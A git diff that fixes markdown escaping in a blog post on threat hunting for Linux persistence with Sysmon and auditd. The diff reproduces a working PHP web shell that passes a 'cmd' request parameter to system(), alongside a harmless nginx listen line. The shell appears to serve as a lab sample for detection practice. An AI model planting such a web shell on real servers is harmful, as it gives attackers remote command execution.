diff --git a/security/_posts/2021-11-22-linux-threat-hunting-for-persistence-sysmon-auditd-webshell.md b/security/_posts/2021-11-22-linux-threat-hunting-for-persistence-sysmon-auditd-webshell.md
index 779baec..eb2c499 100644
--- a/security/_posts/2021-11-22-linux-threat-hunting-for-persistence-sysmon-auditd-webshell.md
+++ b/security/_posts/2021-11-22-linux-threat-hunting-for-persistence-sysmon-auditd-webshell.md
@@ -222,15 +222,15 @@ Choose any of the [examples php web shells](https://github.com/JohnTroony/php-we
 ```html
 <html>  
 <body>  
-<form method="GET" name="<?php echo basename($_SERVER\['PHP_SELF'\]); ?>">  
+<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">  
 <input type="TEXT" name="cmd" id="cmd" size="80">  
 <input type="SUBMIT" value="Execute">  
 </form>  
 <pre>  
 <?php  
-    if(isset($_GET\['cmd'\]))  
+    if(isset($_GET['cmd']))  
     {  
-        system($_GET\['cmd'\]);  
+        system($_GET['cmd']);  
     }  
 ?>  
 </pre>
@@ -583,7 +583,7 @@ The nginx config might look something like this
 ```
 server {  
     listen 80 default_server;  
-    listen \[::\]:80 default_server;
+    listen [::]:80 default_server;
 
 root /var/www/html;
 
